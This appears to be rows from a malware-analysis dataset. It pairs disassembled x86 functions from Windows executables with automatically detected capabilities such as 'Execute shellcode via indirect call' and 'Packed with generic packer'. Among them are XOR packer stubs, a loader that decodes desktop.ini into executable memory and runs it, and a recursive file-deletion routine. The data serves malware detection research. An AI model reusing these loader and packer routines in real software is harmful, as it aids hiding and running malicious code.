joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44b2a1
sub esp, 0x48
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov ecx, dword [ecx + 0x4c]
mov edx, dword [ecx + 0x18]
mov ebx, dword [ecx + 0x78]
add ebx, 1
mov edx, dword [edx + 0x54]
mov ebp, dword [ecx + 0x7c]
mov dword [ecx + 0x78], ebx
adc ebp, 0
mov dword [ecx + 0x7c], ebp
mov ebx, edx
mov ebp, dword [edx + 0xb78]
test ebp, ebp
je 0x44b1d5
mov dword [esp + 0x44], ecx
lea edi, [esp + 0x2c]
xor eax, eax
call fcn.0045824a
mov ecx, dword [esp + 0x44]
mov ebx, dword [ecx + 0x50]
mov ebp, dword [ecx + 0x54]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebp
mov ebx, dword [ecx + 0x78]
mov ecx, dword [ecx + 0x7c]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ecx
mov eax, dword [edx + 0xb78]
cmp eax, 4
jae 0x44b296
lea ecx, [0xf20134]
lea eax, [ecx + eax*8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x40], eax
mov byte [esp], 0x29
mov dword [esp + 4], 0xffffffff
lea eax, [esp + 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 3
mov dword [esp + 0x10], 3
call fcn.00449f20
add esp, 0x48
ret
cmp dword [ecx + 0x80], ebx
jne 0x44b226
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov eax, dword [ecx + 0x50]
mov ecx, dword [ecx + 0x54]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp], 0x26
mov dword [esp + 4], 0xffffffff
lea eax, [esp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call fcn.00449f20
jmp 0x44b1d1
mov dword [ecx + 0x80], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov eax, dword [ecx + 0x50]
mov edx, dword [ecx + 0x54]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edx
mov eax, dword [ecx + 0x78]
mov ecx, dword [ecx + 0x7c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov byte [esp], 0xe
mov dword [esp + 4], 0xffffffff
lea eax, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00449f20
jmp 0x44b1d1
mov ecx, 4
call fcn.004580d0
nop
call fcn.00456af0
jmp fcn.0044b100
Function at 0x44b510
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44b625
sub esp, 0x2c
mov ecx, dword [esp + 0x34]
test ecx, ecx
setne dl
mov ebx, dword [esp + 0x30]
test ebx, ebx
xchg ebp, ebx
setne bl
xchg ebp, ebx
or edx, ebp
test dl, dl
je 0x44b61a
cmp dword [0xf180d8], ebx
seta dl
mov ebp, dword [0xf180dc]
cmp ecx, ebp
sete cl
xchg ebp, ebx
setl bl
xchg ebp, ebx
and ecx, edx
or ebp, ecx
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x44b61a
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x30], ecx
mov edx, dword fs:[0x14]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
mov edx, dword [edx + 0x4c]
mov ebx, dword [edx + 0x78]
add ebx, 1
mov ebp, dword [edx + 0x7c]
mov dword [edx + 0x78], ebx
adc ebp, 0
mov dword [edx + 0x7c], ebp
mov ebx, dword [edx + 0x18]
mov ebx, dword [ebx + 0x54]
mov dword [edx + 0x80], ebx
lea edi, [esp + 0x14]
mov ebx, eax
xor eax, eax
call fcn.0045824a
mov ecx, dword [edx + 0x50]
mov ebp, dword [edx + 0x54]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ebp
mov ecx, dword [edx + 0x78]
mov edx, dword [edx + 0x7c]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], edx
mov ecx, dword [esp + 0x30]
shr ecx, 6
mov edx, ebx
shl ebx, 0x1a
or ecx, ebx
mov dword [esp + 0x24], ecx
shr edx, 6
mov dword [esp + 0x28], edx
mov byte [esp], 0x1d
mov dword [esp + 4], 0xffffffff
lea ecx, [esp + 0x14]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 3
mov dword [esp + 0x10], 3
call fcn.00449f20
add esp, 0x2c
ret
mov eax, dword [esp + 0x34]
mov ecx, ebx
jmp 0x44b576
call fcn.00456af0
jmp fcn.0044b510
Function at 0x44dda0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44de3f
sub esp, 0x30
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
lea edi, [esp + 0xc]
xor eax, eax
call fcn.00458247
lea ecx, [0x4546a0]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 8]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x28], ecx
lea ecx, [esp + 4]
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0xc]
mov dword [esp], ecx
call fcn.004569d0
mov ecx, dword [esp + 4]
mov dword [esp + 0x44], ecx
add esp, 0x30
ret
call fcn.00456af0
jmp fcn.0044dda0
Function at 0x457f00
Capabilities:
Encrypt data using aes via x86 extensions
Hash data using murmur3

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0xf2bfa0]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x45657b
je 0x4565ca
cmp ebx, 0x20
jbe 0x4565d0
cmp ebx, 0x40
jbe 0x45660e
jmp 0x45669f
test ebx, ebx
je 0x4565c0
add eax, 0x10
test ax, 0xff0
je 0x4565ac
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x4c5340]
aesenc xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x4c5440]
jmp 0x456598
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x456598
pxor xmm1, xmmword [0xf2bfb0]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
aesenc xmm2, xmm0
aesenc xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0xf2bfb0]
pxor xmm2, xmmword [0xf2bfc0]
pxor xmm3, xmmword [0xf2bfd0]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0xf2bfb0]
pxor xmm2, xmmword [0xf2bfc0]
pxor xmm3, xmmword [0xf2bfd0]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x4566fe
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0xf2bd10], 0
je 0x457f1a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x456540
jmp fcn.004070b0
Function at 0x457f80
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x407370
mov eax, dword [0xf2bee0]
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov ebx, dword [esp + 8]
lea eax, [ebx + eax*8]
xor edx, eax
imul eax, edx, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor ecx, eax
imul eax, ecx, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov ecx, eax
shr eax, 0x11
xor eax, ecx
imul eax, eax, 0x319bca41
mov ecx, eax
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0x8b421a21
mov ecx, eax
shr eax, 0x10
xor eax, ecx
mov dword [esp + 0xc], eax
ret
call fcn.00456af0
jmp 0x407300
cmp byte [0xf2bd10], 0
je 0x457fbb
mov eax, dword [esp + 4]
movq xmm0, qword [eax]
pinsrd xmm0, dword [esp + 8], 2
aesenc xmm0, xmmword [0xf2bfa0]
aesenc xmm0, xmmword [0xf2bfb0]
aesenc xmm0, xmmword [0xf2bfc0]
movd dword [esp + 0xc], xmm0
ret
jmp 0x407300

Function at 0x458c70
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov eax, esp
mov dword [edx + 4], eax
sub eax, 0x10000
mov dword [edx], eax
add eax, 0xba0
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
lea esi, [ecx + 0x30]
mov dword fs:[0x14], esi
mov dword [edx + 0x18], ecx
mov dword [esi], edx
cld
call fcn.00457e80
call fcn.00433b70
ret

Function at 0x458cf0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
mov dword [esp], 0xfffffff4
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov esp, ebp
mov dword [esp], eax
mov edx, 0xf2c0e0
mov dword [esp + 4], edx
mov edx, dword [0xf2bd40]
mov dword [esp + 8], edx
lea edx, [esp + 0x14]
mov dword [edx], 0
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0
call dword [sym.imp.kernel32.dll_WriteFile]
mov esi, ebp
add esp, 0x18
ret

Function at 0x458d90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword fs:[0x14]
mov edx, esp
sub esp, 0x22c
mov dword [esp], esp
mov dword [esp + 4], 0x22c
call fcn.00458770
lea ecx, [esp + 0x30]
mov dword fs:[0x14], ecx
mov ebx, esp
sub esp, 0xd8
mov dword [ecx], esp
mov dword [ebx], esp
mov dword [esp], esp
mov dword [esp + 4], 0xd8
call fcn.00458770
lea ebx, [esp + 0xd8]
mov dword [esp + 0x18], ebx
lea ecx, [esp - 0x8000]
mov dword [esp], ecx
add ecx, 0xba0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edx
push eax
push dword [ebp + 0x10]
call dword [ebp + 8]
pop ecx
pop eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov esp, dword [ecx + 4]
pop dword fs:[0x14]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100e0886
Capabilities:
Encode data using xor

Disassembly:
call fcn.100e2e75
mov es, word [ebp - 0x564c6f10]
paddusw mm0, mm0
or esi, esi
out dx, eax
and eax, 0x93e80b76
mov ebp, 0xed0fc530
mov al, 0xe4
mov edi, fs
dec esp
push ebx
fcom dword [ebx - 0x43669b52]
invalid

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x7bc40cc9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x43ad714e
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x468b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004689b3

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x19d7033a
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
mov ecx, 0x3b602d92
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x4260f8
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0042617b
jae 0x426106
xor ecx, ecx
call fcn.0042617b
jae 0x426135
xor eax, eax
call fcn.0042617b
jae 0x426145
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0042617b
adc al, al
jae 0x426127
jne 0x426171
stosb byte es:[edi], al
jmp 0x426109
call fcn.00426187
sub ecx, ebx
jne 0x42614e
call fcn.00426185
jmp 0x42616d
lodsb al, byte [esi]
shr eax, 1
je 0x426197
adc ecx, ecx
jmp 0x42616a
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00426185
cmp eax, 0x7d00
jae 0x42616a
cmp ah, 5
jae 0x42616b
cmp eax, 0x7f
ja 0x42616c
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x426109
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x4010b0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ecx
push esi
push edi
push ebp
sub esp, 0x370
mov ebp, eax
mov dword [esp + 0x364], ebx
lea edi, [esp + 0x244]
mov esi, edx
push edi
mov al, byte [esi]
mov byte [edi], al
cmp al, 0
je 0x4010e5
mov al, byte [esi + 1]
add esi, 2
mov byte [edi + 1], al
add edi, 2
cmp al, 0
jne 0x4010cd
pop edi
mov esi, 0x401093
lea edi, [esp + 0x244]
push edi
sub ecx, ecx
dec ecx
mov al, 0
repne scasb al, byte es:[edi]
dec edi
mov al, byte [esi]
mov byte [edi], al
cmp al, 0
je 0x401113
mov al, byte [esi + 1]
add esi, 2
mov byte [edi + 1], al
add edi, 2
cmp al, 0
jne 0x4010fb
pop edi
lea edi, [esp + 0x140]
mov esi, edx
push edi
mov al, byte [esi]
mov byte [edi], al
cmp al, 0
je 0x401136
mov al, byte [esi + 1]
add esi, 2
mov byte [edi + 1], al
add edi, 2
cmp al, 0
jne 0x40111e
pop edi
mov esi, 0x4010a1
lea edi, [esp + 0x140]
push edi
sub ecx, ecx
dec ecx
mov al, 0
repne scasb al, byte es:[edi]
dec edi
mov al, byte [esi]
mov byte [edi], al
cmp al, 0
je 0x401164
mov al, byte [esi + 1]
add esi, 2
mov byte [edi + 1], al
add edi, 2
cmp al, 0
jne 0x40114c
pop edi
lea edi, [esp + 0x140]
sub ecx, ecx
dec ecx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x140]
add eax, ecx
mov dword [esp + 0x368], eax
mov eax, esp
push eax
lea eax, [esp + 0x248]
push eax
mov edi, dword [esp + 0x370]
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [esp + 0x36c], eax
push 1
push 0
push 0
push 0
lea eax, [esp + 0x358]
push eax
call dword [sym.imp.USER32.DLL_PeekMessageA]
test eax, eax
jne 0x40127d
mov edx, 0x4010a3
lea eax, [esp + 0x2c]
call fcn.00401610
test eax, eax
je 0x40124b
mov edx, 0x401010
lea eax, [esp + 0x2c]
call fcn.00401610
test eax, eax
je 0x40124b
mov eax, dword [esp + 0x364]
test eax, eax
je 0x401205
mov edx, eax
lea eax, [esp + 0x2c]
call fcn.00401750
test eax, eax
je 0x40124b
lea esi, [esp + 0x2c]
push edi
mov al, byte [esi]
mov byte [edi], al
cmp al, 0
je 0x401222
mov al, byte [esi + 1]
add esi, 2
mov byte [edi + 1], al
add edi, 2
cmp al, 0
jne 0x40120a
pop edi
test byte [esp], 0x10
je 0x4012b5
lea edx, [esp + 0x140]
mov eax, ebp
xor ebx, ebx
call fcn.004010b0
lea eax, [esp + 0x140]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
mov eax, esp
push eax
mov edx, dword [esp + 0x370]
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4011a5
mov ecx, dword [esp + 0x36c]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindClose]
add esp, 0x370
pop ebp
pop edi
pop esi
pop ecx
ret
lea eax, [esp + 0x348]
push eax
push ebp
call dword [sym.imp.USER32.DLL_IsDialogMessageA]
test eax, eax
jne 0x4011a5
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.USER32.DLL_TranslateMessage]
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.USER32.DLL_DispatchMessageA]
jmp 0x4011a5
lea eax, [esp + 0x2c]
push eax
push 0x65
push ebp
call dword [sym.imp.USER32.DLL_SetDlgItemTextA]
lea eax, [esp + 0x140]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x40124b
Function at 0x401cd0
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, eax
mov esi, ebx
mov dword [0x4083f8], eax
mov dword [0x40700c], edx
call fcn.00402940
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsA]
mov dword [0x407092], eax
xor eax, eax
mov dword [0x408a18], eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov edx, eax
mov byte [0x407096], al
shr eax, 0x10
push 0x104
mov word [0x407098], ax
xor eax, eax
mov ebx, 0x208
mov ax, word [0x407098]
and edx, 0xffff
mov dword [0x40709a], eax
xor eax, eax
sar edx, 8
mov al, byte [0x407096]
and edx, 0xff
mov dword [0x40709e], eax
xor eax, eax
mov byte [0x407097], dl
mov al, dl
mov edx, dword [0x40709e]
push 0x4083fc
shl edx, 8
push 0
or edx, eax
mov dword [0x4070a2], eax
mov dword [0x4070a6], edx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x408500
xor eax, eax
mov dword [0x407060], 0x4083fc
call fcn.00402a70
mov dword [0x40706c], 0x408500
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.00402b10
mov edx, eax
mov bl, byte [eax]
mov dword [0x4083f0], eax
cmp bl, 0x22
je 0x401dc4
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402b51], 2
je 0x401ddc
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402b51], 2
je 0x401de3
inc eax
jmp 0x401db4
inc eax
cmp bl, byte [eax]
je 0x401dd4
cmp byte [eax], 0
je 0x401dd4
inc eax
cmp byte [eax], 0x22
jne 0x401dc9
cmp byte [eax], 0
je 0x401db4
inc eax
jmp 0x401db4
test dl, dl
je 0x401db4
inc eax
jmp 0x401da7
mov dword [0x40705c], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
test eax, eax
je 0x401e57
call fcn.00402c51
mov edx, eax
mov bx, word [eax]
mov dword [0x4083f4], eax
cmp bx, 0x22
je 0x401e2a
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402b51], 2
je 0x401e4c
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402b51], 2
je 0x401e5c
add eax, 2
jmp 0x401e18
add eax, 2
cmp bx, word [eax]
je 0x401e41
cmp word [eax], 0
je 0x401e41
add eax, 2
cmp word [eax], 0x22
jne 0x401e32
cmp word [eax], 0
je 0x401e18
add eax, 2
jmp 0x401e18
cmp word [eax], 0
je 0x401e18
add eax, 2
jmp 0x401e0b
mov eax, 0x401c90
mov dword [0x407068], eax
test edi, edi
jne 0x401e6e
mov eax, 1
pop edi
pop esi
pop ecx
ret
push 0x104
push 0x408708
push esi
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x40880c
mov eax, esi
mov dword [0x407064], 0x408708
call fcn.00402a70
mov dword [0x407070], 0x40880c
mov eax, 1
pop edi
pop esi
pop ecx
ret

Function at 0x4039f0
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ecx
push esi
push edi
sub esp, 8
mov esi, eax
mov edi, edx
xor edx, edx
mov ecx, eax
inc eax
cmp byte [ecx], 0
je 0x403a07
inc edx
jmp 0x4039fc
push 0
lea eax, [esp + 4]
push eax
push edx
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [esp + 4]
push eax
push 2
lea eax, [esp + 0x10]
push eax
push 0xfffffffffffffff4
mov word [esp + 0x18], 0xa0d
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, edi
jmp 0x401f70
Function at 0x403b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push edx
sub esp, 4
mov dword [esp], eax
mov eax, dword [0x4071d8]
test eax, eax
je 0x403b6c
cmp dword [0x407058], 0xfffffffe
jne 0x403b72
xor eax, eax
add esp, 4
pop edx
pop ecx
ret
mov eax, esp
call fcn.00403b00
test eax, eax
je 0x403b6c
push 0x40
push 0x1000
mov ecx, dword [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, eax
test eax, eax
je 0x403b6c
mov eax, dword [esp]
sub eax, 4
cmp eax, dword [esp]
ja 0x403b6a
mov dword [esp], eax
cmp eax, 0x38
jb 0x403b6a
mov dword [edx], eax
mov eax, edx
call fcn.00403a80
mov ecx, eax
mov eax, dword [eax]
mov dword [esp], eax
or al, 1
mov dword [ecx], eax
mov dword [edx + 0x14], 0
lea eax, [ecx + 4]
inc dword [edx + 0x18]
call fcn.00401a70
mov eax, 1
add esp, 4
pop edx
pop ecx
ret

Function at 0x404b30
Capabilities:
Set environment variable

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x14
mov ebp, eax
mov dword [esp], 2
mov edx, 0x3d
mov dword [esp + 4], 1
call fcn.00404dc0
mov ebx, eax
test eax, eax
je 0x404b5e
cmp eax, ebp
jne 0x404b6d
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
sub eax, ebp
mov dword [esp + 0xc], eax
inc eax
call fcn.004020c0
mov edx, eax
mov dword [esp + 8], eax
test eax, eax
je 0x404b5e
mov ecx, dword [esp + 0xc]
mov esi, ebp
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [esp + 0xc]
lea esi, [ebx + 1]
mov byte [edx + eax], 0
mov eax, esi
call fcn.00404e20
mov ebx, eax
test eax, eax
je 0x404c33
inc eax
call fcn.004020c0
mov dword [esp + 0x10], eax
test eax, eax
je 0x404c1d
mov ecx, ebx
mov edi, eax
push edi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
rep movsb byte es:[edi], byte [esi]
pop edi
add ebx, edi
mov byte [ebx], 0
mov edx, dword [esp + 0x10]
push edx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
mov edx, eax
mov eax, dword [esp + 8]
call fcn.00401a70
mov eax, dword [esp + 0x10]
call fcn.00401a70
test edx, edx
jne 0x404c39
cmp dword [esp + 0x10], 0
jne 0x404b5e
xor eax, eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, edx
call fcn.00401a70
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov dword [esp + 0x10], eax
jmp 0x404bde
mov eax, ebp
call fcn.00404e50
test eax, eax
jne 0x404b5e
cmp dword [0x408a1c], 0
je 0x404b63
mov eax, ebp
call fcn.00404e20
lea ebx, [eax + 1]
mov eax, dword [esp]
imul eax, ebx
call fcn.004020c0
mov ecx, eax
test eax, eax
